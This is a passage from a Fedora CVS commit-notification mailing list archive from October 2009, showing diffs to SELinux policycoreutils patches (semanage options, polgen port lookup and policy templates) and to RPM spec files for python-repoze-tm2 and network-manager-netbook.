 audit2allow/audit2allow                     |   14 
 load_policy/Makefile                        |    5 
 restorecond/Makefile                        |   24 -
 restorecond/org.selinux.Restorecond.service |    3 
 restorecond/restorecond.c                   |  422 +++---------------
 restorecond/restorecond.conf                |    5 
 restorecond/restorecond.desktop             |    7 
 restorecond/restorecond.h                   |   18 
 restorecond/restorecond.init                |    5 
 restorecond/restorecond_user.conf           |    2 
 restorecond/user.c                          |  237 ++++++++++
 restorecond/watch.c                         |  254 +++++++++++
 sandbox/Makefile                            |   31 +
 sandbox/sandbox                             |  222 +++++++++
 sandbox/sandbox.8                           |   26 +
 sandbox/sandboxX.sh                         |   16 
 sandbox/seunshare.c                         |  265 +++++++++++
 scripts/Makefile                            |    2 
 scripts/chcat                               |    2 
 semanage/semanage                           |   99 ++--
 semanage/seobject.py                        |  209 +++++----
 semodule/semodule.8                         |    6 
 semodule/semodule.c                         |   53 ++
 setfiles/Makefile                           |    2 
 setfiles/restore.c                          |  519 ++++++++++++++++++++++
 setfiles/restore.h                          |   49 ++
 setfiles/setfiles.c                         |  643 +++-------------------------
 28 files changed, 2078 insertions(+), 1064 deletions(-)

Index: policycoreutils-rhat.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils-rhat.patch,v
retrieving revision 1.447
retrieving revision 1.448
diff -u -p -r1.447 -r1.448
--- policycoreutils-rhat.patch	1 Oct 2009 15:39:10 -0000	1.447
+++ policycoreutils-rhat.patch	1 Oct 2009 15:44:12 -0000	1.448
@@ -1801,7 +1801,7 @@ diff --exclude-from=exclude --exclude=se
  	-mkdir -p $(BINDIR)
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/semanage/semanage policycoreutils-2.0.74/semanage/semanage
 --- nsapolicycoreutils/semanage/semanage	2009-09-08 09:03:10.000000000 -0400
-+++ policycoreutils-2.0.74/semanage/semanage	2009-09-30 11:07:29.000000000 -0400
++++ policycoreutils-2.0.74/semanage/semanage	2009-10-01 11:43:48.000000000 -0400
 @@ -39,19 +39,26 @@
         __builtin__.__dict__['_'] = unicode
  
@@ -1856,7 +1856,8 @@ diff --exclude-from=exclude --exclude=se
 +		valid_option["module"] = []
 +		valid_option["module"] += valid_everyone + [ '--enable', '--disable']
  		valid_option["fcontext"] = []
- 		valid_option["fcontext"] += valid_everyone + [ '-f', '--ftype', '-s', '--seuser',  '-t', '--type', '-r', '--range'] 
+-		valid_option["fcontext"] += valid_everyone + [ '-f', '--ftype', '-s', '--seuser',  '-t', '--type', '-r', '--range'] 
++		valid_option["fcontext"] += valid_everyone + [ '-e', '--equal', '-f', '--ftype', '-s', '--seuser',  '-t', '--type', '-r', '--range'] 
  		valid_option["dontaudit"] = [ '-S', '--store' ]
 -		valid_option["translation"] = []
 -		valid_option["translation"] += valid_everyone + [ '-T', '--trans' ] 



From lmacken at fedoraproject.org  Thu Oct  1 15:47:53 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 15:47:53 +0000 (UTC)
Subject: rpms/python-repoze-tm2/F-11 .cvsignore, 1.2,
	1.3 python-repoze-tm2.spec, 1.3, 1.4 sources, 1.2, 1.3
Message-ID: <20091001154753.5728E11C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-repoze-tm2/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2697

Modified Files:
	.cvsignore python-repoze-tm2.spec sources 
Log Message:
Update to 1.0a4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-repoze-tm2/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	24 Nov 2008 18:41:45 -0000	1.2
+++ .cvsignore	1 Oct 2009 15:47:53 -0000	1.3
@@ -1 +1 @@
-repoze.tm2-1.0a3.tar.gz
+repoze.tm2-1.0a4.tar.gz


Index: python-repoze-tm2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-repoze-tm2/F-11/python-repoze-tm2.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- python-repoze-tm2.spec	26 Feb 2009 23:19:27 -0000	1.3
+++ python-repoze-tm2.spec	1 Oct 2009 15:47:53 -0000	1.4
@@ -1,10 +1,10 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
-%define     alphaver    a3
+%define     alphaver    a4
 
 Name:           python-repoze-tm2
 Version:        1.0
-Release:        0.3.%{alphaver}%{?dist}
+Release:        0.5.%{alphaver}%{?dist}
 Summary:        Zope-like transaction manager via WSGI middleware
 
 Group:          Development/Languages
@@ -49,6 +49,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-0.5.a4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Mon Jun 01 2009 Luke Macken <lmacken at redhat.com> - 1.0-0.4.a4
+- Update to 1.0a4
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-0.3.a3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-repoze-tm2/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	24 Nov 2008 18:41:45 -0000	1.2
+++ sources	1 Oct 2009 15:47:53 -0000	1.3
@@ -1 +1 @@
-1354ffaa88ee82793342e7bf2cae6ea9  repoze.tm2-1.0a3.tar.gz
+0a8c71c8b99487de353ca2b1205f05e4  repoze.tm2-1.0a4.tar.gz



From pbrobinson at fedoraproject.org  Thu Oct  1 15:51:54 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu,  1 Oct 2009 15:51:54 +0000 (UTC)
Subject: rpms/network-manager-netbook/devel network-manager-netbook.spec, 1.4,
	1.5
Message-ID: <20091001155154.2810711C00C1@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/network-manager-netbook/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3180

Modified Files:
	network-manager-netbook.spec 
Log Message:
- Git snapshot of the NM-0.8 port.


Index: network-manager-netbook.spec
===================================================================
RCS file: /cvs/pkgs/rpms/network-manager-netbook/devel/network-manager-netbook.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- network-manager-netbook.spec	29 Sep 2009 21:03:27 -0000	1.4
+++ network-manager-netbook.spec	1 Oct 2009 15:51:53 -0000	1.5
@@ -1,19 +1,20 @@
 # Tarfile created using git
 # git clone git://git.gnome.org/network-manager-netbook
+# git checkout -b MplPanelClient origin/MplPanelClient
 # git archive --format=tar --prefix=network-manager-netbook-%{version}/ %{git_version} | bzip2 > %{name}-%{version}.tar.bz2
-%define git_version 4f459ae
+%define git_version a0ae2ea
 %define tarfile %{name}-%{version}.tar.bz2
 
 Name:           network-manager-netbook
-Version:        1.4
-Release:        1%{?dist}
+Version:        1.3.1
+Release:        0.1%{?dist}
 Summary:        Moblin Netbook GUI for NetworkManger
 
 Group:          Applications/Internet
 License:        GPLv2
 URL:            http://projects.gnome.org/NetworkManager/
 Source0:        %{tarfile}
-Patch0:         network-manager-netbook-full-desktop.patch
+#Patch0:         network-manager-netbook-full-desktop.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: dbus-glib-devel
@@ -22,6 +23,7 @@ BuildRequires: GConf2-devel
 BuildRequires: gnome-keyring-devel
 BuildRequires: libnotify-devel
 BuildRequires: mobile-broadband-provider-info-devel
+BuildRequires: mutter-moblin-devel
 BuildRequires: nbtk-devel
 BuildRequires: NetworkManager-glib-devel
 BuildRequires: desktop-file-utils
@@ -40,7 +42,7 @@ NetworkManager to connect to wired, wire
 
 %prep
 %setup -q
-%patch0 -p1 -b .fixdesktop
+#%patch0 -p1 -b .fixdesktop
 
 # Don't run configure from autogen.sh
 NOCONFIGURE=true ./autogen.sh
@@ -82,8 +84,11 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/48x48/apps/nm-*
 
 %changelog
-* Tue Sep 29 2009 Peter Robinson <pbrobinson at gmail.com> 1.4-1
-- Update to 1.4 upstream release. Cleanup spec from upstreamed fixes
+* Thu Oct  1 2009 Peter Robinson <pbrobinson at gmail.com> 1.3.1-0.1
+- Git snapshot of the NM-0.8 port.
+
+* Tue Sep 29 2009 Peter Robinson <pbrobinson at gmail.com> 1.3-1
+- Update to 1.3 upstream release. Cleanup spec from upstreamed fixes
 
 * Mon Aug 31 2009 Peter Robinson <pbrobinson at gmail.com> 1.2-6
 - Add patch for detection of new NetworkManager



From lmacken at fedoraproject.org  Thu Oct  1 15:54:54 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 15:54:54 +0000 (UTC)
Subject: rpms/python-repoze-tm2/EL-5 .cvsignore,1.1,1.2 sources,1.1,1.2
Message-ID: <20091001155454.5161811C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-repoze-tm2/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3581

Modified Files:
	.cvsignore sources 
Log Message:
Update to 1.0a4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-repoze-tm2/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	23 Nov 2008 03:58:07 -0000	1.1
+++ .cvsignore	1 Oct 2009 15:54:53 -0000	1.2
@@ -0,0 +1 @@
+repoze.tm2-1.0a4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-repoze-tm2/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	23 Nov 2008 03:58:07 -0000	1.1
+++ sources	1 Oct 2009 15:54:53 -0000	1.2
@@ -0,0 +1 @@
+0a8c71c8b99487de353ca2b1205f05e4  repoze.tm2-1.0a4.tar.gz



From lmacken at fedoraproject.org  Thu Oct  1 15:58:26 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 15:58:26 +0000 (UTC)
Subject: rpms/python-repoze-tm2/EL-5 python-repoze-tm2.spec,NONE,1.1
Message-ID: <20091001155826.EB9C411C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-repoze-tm2/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4825

Added Files:
	python-repoze-tm2.spec 
Log Message:
Update to 1.0a4


--- NEW FILE python-repoze-tm2.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

%define     alphaver    a4

Name:           python-repoze-tm2
Version:        1.0
Release:        0.5.%{alphaver}%{?dist}
Summary:        Zope-like transaction manager via WSGI middleware

Group:          Development/Languages
License:        BSD
URL:            http://pypi.python.org/pypi/repoze.tm2
Source0:        http://pypi.python.org/packages/source/r/repoze.tm2/repoze.tm2-%{version}%{alphaver}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:  python-devel python-setuptools-devel
Requires:       python-transaction

%description
The ZODB transaction manager is a completely generic transaction manager.  It
can be used independently of the actual "object database" part of ZODB.  One
of the purposes of creating repoze.tm was to allow for systems other than
Zope to make use of two-phase commit transactions in a WSGI context.


%prep
%setup -q -n repoze.tm2-%{version}%{alphaver}


%build
%{__python} setup.py build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc README.txt COPYRIGHT.txt LICENSE.txt
%{python_sitelib}/*



%changelog
* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-0.5.a4
- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild

* Mon Jun 01 2009 Luke Macken <lmacken at redhat.com> - 1.0-0.4.a4
- Update to 1.0a4

* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-0.3.a3
- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild

* Sat Nov 29 2008 Ignacio Vazquez-Abrams <ivazqueznet+rpm at gmail.com> - 1.0-0.2.a3
- Rebuild for Python 2.6

* Tue Oct 21 2008 Luke Macken <lmacken at redhat.com> - 1.0-0.1.a2
- Initial package



From dwalsh at fedoraproject.org  Thu Oct  1 16:04:14 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu,  1 Oct 2009 16:04:14 +0000 (UTC)
Subject: rpms/policycoreutils/devel policycoreutils-gui.patch, 1.92,
	1.93 policycoreutils-rhat.patch, 1.447,
	1.448 policycoreutils.spec, 1.648, 1.649
Message-ID: <20091001160414.59F0111C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6175

Modified Files:
	policycoreutils-gui.patch policycoreutils-rhat.patch 
	policycoreutils.spec 
Log Message:
* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-7
- Fixes Templates


policycoreutils-gui.patch:
 Makefile                    |   41 
 booleansPage.py             |  247 +++
 domainsPage.py              |  154 +
 fcontextPage.py             |  223 ++
 html_util.py                |  164 ++
 lockdown.glade              |  771 +++++++++
 lockdown.gladep             |    7 
 lockdown.py                 |  382 ++++
 loginsPage.py               |  185 ++
 mappingsPage.py             |   56 
 modulesPage.py              |  190 ++
 polgen.glade                | 3305 ++++++++++++++++++++++++++++++++++++++++++
 polgen.gladep               |    7 
 polgen.py                   | 1188 +++++++++++++++
 polgengui.py                |  627 ++++++++
 portsPage.py                |  259 +++
 selinux.tbl                 |  234 +++
 semanagePage.py             |  168 ++
 statusPage.py               |  190 ++
 system-config-selinux.glade | 3403 ++++++++++++++++++++++++++++++++++++++++++++
 system-config-selinux.py    |  189 ++
 templates/__init__.py       |   18 
 templates/boolean.py        |   40 
 templates/etc_rw.py         |  129 +
 templates/executable.py     |  368 ++++
 templates/network.py        |   80 +
 templates/rw.py             |  127 +
 templates/script.py         |   99 +
 templates/semodule.py       |   41 
 templates/tmp.py            |   97 +
 templates/user.py           |  182 ++
 templates/var_lib.py        |  158 ++
 templates/var_log.py        |  110 +
 templates/var_run.py        |  118 +
 templates/var_spool.py      |  129 +
 translationsPage.py         |  118 +
 usersPage.py                |  150 +
 37 files changed, 13954 insertions(+)

Index: policycoreutils-gui.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils-gui.patch,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- policycoreutils-gui.patch	30 Sep 2009 15:37:12 -0000	1.92
+++ policycoreutils-gui.patch	1 Oct 2009 16:04:13 -0000	1.93
@@ -6415,8 +6415,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +    app.stand_alone()
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.py policycoreutils-2.0.74/gui/polgen.py
 --- nsapolicycoreutils/gui/polgen.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/polgen.py	2009-09-20 21:26:37.000000000 -0400
-@@ -0,0 +1,1183 @@
++++ policycoreutils-2.0.74/gui/polgen.py	2009-10-01 11:36:54.000000000 -0400
+@@ -0,0 +1,1188 @@
 +#!/usr/bin/python
 +#
 +# Copyright (C) 2007, 2008, 2009 Red Hat 
@@ -6787,10 +6787,10 @@ diff --exclude-from=exclude -N -u -r nsa
 +        def use_network(self):
 +            return self.use_tcp() or self.use_udp()
 +        
-+        def find_port(self, port):
-+            for begin,end in self.ports.keys():
-+                if port >= begin and port <= end:
-+                    return self.ports[begin,end]
++        def find_port(self, port, protocol="tcp"):
++            for begin,end,p in self.ports.keys():
++                if port >= begin and port <= end and protocol == p:
++                    return self.ports[begin,end, protocol]
 +            return  None
 +
 +	def set_program(self, program):
@@ -6925,50 +6925,50 @@ diff --exclude-from=exclude -N -u -r nsa
 +            return line
 +                
 +	def generate_network_types(self):
-+                for i in self.in_tcp[PORTS]:
-+                    rec = self.find_port(int(i))
-+                    if rec == None:
-+                        self.need_tcp_type = True;
-+                    else:
-+                        port_name = rec[0][:-2]
-+                        line = self.generate_network_action("tcp", "bind", port_name)
-+#                        line = "corenet_tcp_bind_%s(%s_t)\n" % (port_name, self.name)
-+                        if line not in self.found_tcp_ports:
-+                            self.found_tcp_ports.append(line)
-+
-+                for i in self.out_tcp[PORTS]:
-+                    rec = self.find_port(int(i))
-+                    if rec == None:
-+                        self.need_tcp_type = True;
-+                    else:
-+                        port_name = rec[0][:-2]
-+                        line = self.generate_network_action("tcp", "connect", port_name)
-+#                        line = "corenet_tcp_connect_%s(%s_t)\n" % (port_name, self.name)
-+                        if line not in self.found_tcp_ports:
-+                            self.found_tcp_ports.append(line)
++            for i in self.in_tcp[PORTS]:
++                rec = self.find_port(int(i), "tcp")
++                if rec == None:
++                    self.need_tcp_type = True;
++                else:
++                    port_name = rec[0][:-2]
++                    line = self.generate_network_action("tcp", "bind", port_name)
++#                   line = "corenet_tcp_bind_%s(%s_t)\n" % (port_name, self.name)
++                    if line not in self.found_tcp_ports:
++                        self.found_tcp_ports.append(line)
++
++            for i in self.out_tcp[PORTS]:
++                rec = self.find_port(int(i), "tcp")
++                if rec == None:
++                    self.need_tcp_type = True;
++                else:
++                    port_name = rec[0][:-2]
++                    line = self.generate_network_action("tcp", "connect", port_name)
++#                   line = "corenet_tcp_connect_%s(%s_t)\n" % (port_name, self.name)
++                    if line not in self.found_tcp_ports:
++                        self.found_tcp_ports.append(line)
 +                        
-+                for i in self.in_udp[PORTS]:
-+                    rec = self.find_port(int(i))
-+                    if rec == None:
-+                        self.need_udp_type = True;
-+                    else:
-+                        port_name = rec[0][:-2]
-+                        line = self.generate_network_action("udp", "bind", port_name)
-+#                        line = "corenet_udp_bind_%s(%s_t)\n" % (port_name, self.name)
-+                        if line not in self.found_udp_ports:
-+                            self.found_udp_ports.append(line)
++            for i in self.in_udp[PORTS]:
++                rec = self.find_port(int(i),"udp")
++                if rec == None:
++                    self.need_udp_type = True;
++                else:
++                    port_name = rec[0][:-2]
++                    line = self.generate_network_action("udp", "bind", port_name)
++#                   line = "corenet_udp_bind_%s(%s_t)\n" % (port_name, self.name)
++                    if line not in self.found_udp_ports:
++                        self.found_udp_ports.append(line)
 +                
-+                if self.need_udp_type == True or self.need_tcp_type == True:
-+                    return re.sub("TEMPLATETYPE", self.name, network.te_port_types)
-+		return ""
++            if self.need_udp_type == True or self.need_tcp_type == True:
++                return re.sub("TEMPLATETYPE", self.name, network.te_port_types)
++            return ""
 +	
 +	def __find_path(self, file):
-+		for d in self.DEFAULT_DIRS:
-+			if file.find(d) == 0:
-+				self.DEFAULT_DIRS[d][1].append(file)
-+				return self.DEFAULT_DIRS[d]
-+		self.DEFAULT_DIRS["rw"][1].append(file)
-+		return self.DEFAULT_DIRS["rw"]
++            for d in self.DEFAULT_DIRS:
++                if file.find(d) == 0:
++                    self.DEFAULT_DIRS[d][1].append(file)
++                    return self.DEFAULT_DIRS[d]
++            self.DEFAULT_DIRS["rw"][1].append(file)
++            return self.DEFAULT_DIRS["rw"]
 +	
 +	def add_capability(self, capability):
 +            self.capabilities.append(capability)
@@ -7360,12 +7360,12 @@ diff --exclude-from=exclude -N -u -r nsa
 +			newsh += re.sub("FILENAME", i, script.restorecon)
 +
 +                for i in self.in_tcp[PORTS] + self.out_tcp[PORTS]:
-+                    if self.find_port(i) == None:
++                    if self.find_port(i,"tcp") == None:
 +                        t1 = re.sub("PORTNUM", "%d" % i, script.tcp_ports)
 +                        newsh += re.sub("TEMPLATETYPE", self.name, t1)
 +
 +                for i in self.in_udp[PORTS] + self.out_udp[PORTS]:
-+                    if self.find_port(i) == None:
++                    if self.find_port(i,"udp") == None:
 +			t1 = re.sub("PORTNUM", "%d" % i, script.udp_ports)
 +			newsh += re.sub("TEMPLATETYPE", self.name, t1)
 +
@@ -7551,7 +7551,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +    setype = DAEMON
 +    gopts, cmds = getopt.getopt(sys.argv[1:], "ht:m", 
 +                                ["type=", 
-+                                 "mount", 
++                                 "mount",
++                                 "test",
 +                                 "help"])
 +    for o, a in gopts:
 +        if o == "-t" or o == "--type":
@@ -7567,7 +7568,11 @@ diff --exclude-from=exclude -N -u -r nsa
 +            mount_ind = True
 +                
 +        if o == "-h" or o == "--help":
-+            usage("");
++            usage("")
++
++        if o == "--test":
++            test()
++            sys.exit(0)
 +            
 +    if len(cmds) == 0:
 +           usage(_("Executable required"))
@@ -12069,7 +12074,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +    app.stand_alone()
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/boolean.py policycoreutils-2.0.74/gui/templates/boolean.py
 --- nsapolicycoreutils/gui/templates/boolean.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/boolean.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/boolean.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,40 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12113,7 +12118,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/etc_rw.py policycoreutils-2.0.74/gui/templates/etc_rw.py
 --- nsapolicycoreutils/gui/templates/etc_rw.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/etc_rw.py	2009-09-30 11:32:23.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/etc_rw.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,129 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12144,9 +12149,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +files_type(TEMPLATETYPE_etc_rw_t)
 +"""
 +te_rules="""
-+manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t TEMPLATETYPE_etc_rw_t)
-+manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t TEMPLATETYPE_etc_rw_t)
-+files_etc_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_etc_rw_t, { file dir })
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
++files_etc_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t, { file dir })
 +"""
 +
 +########################### Interface File #############################
@@ -12206,7 +12211,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_etc_rw_t;
 +	')
 +
-+        manage_files_pattern($1,TEMPLATETYPE_etc_rw_t,TEMPLATETYPE_etc_rw_t)
++        manage_files_pattern($1, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
 +	files_search_etc($1)
 +')
 +
@@ -12225,9 +12230,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_etc_rw_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_etc_rw_t,TEMPLATETYPE_etc_rw_t)
-+         manage_files_pattern($1,TEMPLATETYPE_etc_rw_t,TEMPLATETYPE_etc_rw_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_etc_rw_t,TEMPLATETYPE_etc_rw_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
++         manage_files_pattern($1, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
 +')
 +
 +"""
@@ -12246,7 +12251,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/executable.py policycoreutils-2.0.74/gui/templates/executable.py
 --- nsapolicycoreutils/gui/templates/executable.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/executable.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/executable.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,368 @@
 +# Copyright (C) 2007-2009 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12459,7 +12464,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_t, TEMPLATETYPE_exec_t;
 +	')
 +
-+	domtrans_pattern($1,TEMPLATETYPE_exec_t,TEMPLATETYPE_t)
++	domtrans_pattern($1, TEMPLATETYPE_exec_t, TEMPLATETYPE_t)
 +')
 +
 +"""
@@ -12535,7 +12540,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_initrc_exec_t;
 +	')
 +
-+	init_labeled_script_domtrans($1,TEMPLATETYPE_initrc_exec_t)
++	init_labeled_script_domtrans($1, TEMPLATETYPE_initrc_exec_t)
 +')
 +"""
 +
@@ -12618,7 +12623,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/__init__.py policycoreutils-2.0.74/gui/templates/__init__.py
 --- nsapolicycoreutils/gui/templates/__init__.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/__init__.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/__init__.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,18 @@
 +#
 +# Copyright (C) 2007 Red Hat, Inc.
@@ -12640,7 +12645,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/network.py policycoreutils-2.0.74/gui/templates/network.py
 --- nsapolicycoreutils/gui/templates/network.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/network.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/network.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,80 @@
 +te_port_types="""
 +type TEMPLATETYPE_port_t;
@@ -12724,7 +12729,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/rw.py policycoreutils-2.0.74/gui/templates/rw.py
 --- nsapolicycoreutils/gui/templates/rw.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/rw.py	2009-09-30 11:32:29.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/rw.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,127 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12755,8 +12760,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 +
 +te_rules="""
-+manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_rw_t TEMPLATETYPE_rw_t)
-+manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_rw_t TEMPLATETYPE_rw_t)
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
 +"""
 +
 +########################### Interface File #############################
@@ -12816,7 +12821,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_rw_t;
 +	')
 +
-+         manage_files_pattern($1, TEMPLATETYPE_rw_t TEMPLATETYPE_rw_t)
++         manage_files_pattern($1, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
 +')
 +
 +########################################
@@ -12834,9 +12839,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_rw_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_rw_t,TEMPLATETYPE_rw_t)
-+         manage_files_pattern($1,TEMPLATETYPE_rw_t,TEMPLATETYPE_rw_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_rw_t,TEMPLATETYPE_rw_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
++         manage_files_pattern($1, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
 +')
 +
 +"""
@@ -12855,7 +12860,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/script.py policycoreutils-2.0.74/gui/templates/script.py
 --- nsapolicycoreutils/gui/templates/script.py	1969-12-31 19:00:00.000000000 -0500
